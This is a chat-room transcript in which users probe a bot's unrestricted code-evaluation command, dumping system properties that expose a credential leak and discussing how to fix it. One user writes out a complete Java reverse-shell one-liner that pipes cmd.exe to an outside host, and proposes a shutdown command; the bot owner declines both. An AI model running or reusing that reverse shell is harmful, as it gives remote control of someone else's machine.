« first day (3287 days earlier)      last day (1645 days later) » 

1:16 AM
This is another link.
 
 
4 hours later…
5:44 AM
@Wietbot alive
 
 
2 hours later…
7:35 AM
@geisterfurz007 it is alive
it just doesnt respond to you
 
How many restrictions are there on the eval currently?
@Wietlol not at all? :c
 
@Wietbot eval println "\u0040geisterfurz007 hello"
 
@Wietlol null
 
oh damn you
 
7:37 AM
@Wietbot eval println "@geisterfurz007 hello"
 
@Wietlol null
 
@Wietbot eval 1+1
 
wait... something borked?
 
@geisterfurz007 you cant access it tho :D
because
 
7:37 AM
println returns nothing so it's null
 
> System.exit(0)
-_- I am an idiot
@Wietbot eval "@geisterfurz007 hello"
 
@Wietlol @geisterfurz007 hello
 
@Wietbot eval "\u0040geisterfurz007 hello"
 
slowpoke?
 
7:38 AM
I wanna break shit >.>
 
hmm... string appears to be correct
you can send me stuff and I will (or wont) give them to Wietbot ;)
but yes, there are no restrictions
 
:')
linux or windows machine?
 
windows
 
eval "cmd /c shutdown -p".execute()
You won't give that to wietbot, will you?
 
no
 
7:44 AM
bummer
 
but there is the shutdown command
but it will only shut down the bot, not the server
@Wietbot eval System.properties.entrySet().stream().map { "\"$it.key\":\"$it.value\"" }.reduce { l, r -> "$l , $r" }
 
Which only you may execute and which only shuts down the bot and not the server, yeah :D
 
@Wietlol Optional["java.runtime.name":"Java(TM) SE Runtime Environment" , "sun.boot.library.path":"C:\Program Files\Java\jre1.8.0_221\bin" , "java.vm.version":"25.221-b11" , "java.vm.vendor":"Oracle Corporation" , "java.vendor.url":"http://java.oracle.com/" , "path.separator":";" , "java.vm.name":"Java HotSpot(TM) 64-Bit Server VM" , "file.encoding.pkg":"sun.io" , "user.country":"US" , "user.script":"" , "sun.java.launcher":"SUN_STANDARD" , "sun.os.patch.level":"" , "java.vm.specification.name":"Java Virtual Machine Specification" , "user.dir":"C:\Software\Wietbot-StackExchange" , "java.run
 
oh, hehe, it is an optional :D
also... hehe, this is an old one
I installed JRE 11
 
Oh! Das a good way to find out what OS you are running :)
 
7:47 AM
define "good"
 
simple and straight-forward
 
> C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\
ok... I think it is windows
 
The paths kinda give it away, yeah
 
> "os.name":"Windows Server 2019"
that is the one
@Wietbot eval System.getProperty("os.name")
 
@Wietlol Windows Server 2019
 
7:49 AM
How about
eval Process p=new ProcessBuilder("cmd.exe").redirectErrorStream(true).start();Socket s=new Socket("thiswouldbemyip.lol",9001);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
 
how about... no
 
hm, shame
 
hmm...
I know what I have to do
 
What do you have to do
 
fix stuff
I assume you didnt notice the security issue
I must say, I did not suspect it would be that obvious
 
7:58 AM
What exact security issue do you mean? It's a plain open hole for remote code execution.
As in: RCE as a feature :D
 
read the result from Wietbot's properties list
 
by now, the password has changed 3 times already tho
but still
 
shame ._.
 
I gotta fix that
 
8:00 AM
System.setProperty("sun.java.command", "You won't get my password...")
Done.
 
nah, I have a different fix
I had another issue which is related on the restart command
I want to have an update-and-restart command
which will update the executing jar file and run it again
but... since I used to pass the username and password via the command line, I have to do that again on the restart
which I dont want
so, I have to pull them from a configuration lib
which would be connected to the AWS parameter store (and perhaps some .properties or .json files)
 
Or you just let me break it :)
 
8:32 AM
@geisterfurz007 just a little gem
in C#, Oct 11 at 13:39, by Wietlol
am I glad I never wrote my username or password for Wietbot in the code :D
 
8:50 AM
@Wietbot join 7
@Wietbot leave 139
hmm
@Wietbot eval "I am fine"
ok, is ded now
 
noice
 
ah... I know why it is ded
makes sense
 
Yeah, wrong password
 
^
 

« first day (3287 days earlier)      last day (1645 days later) »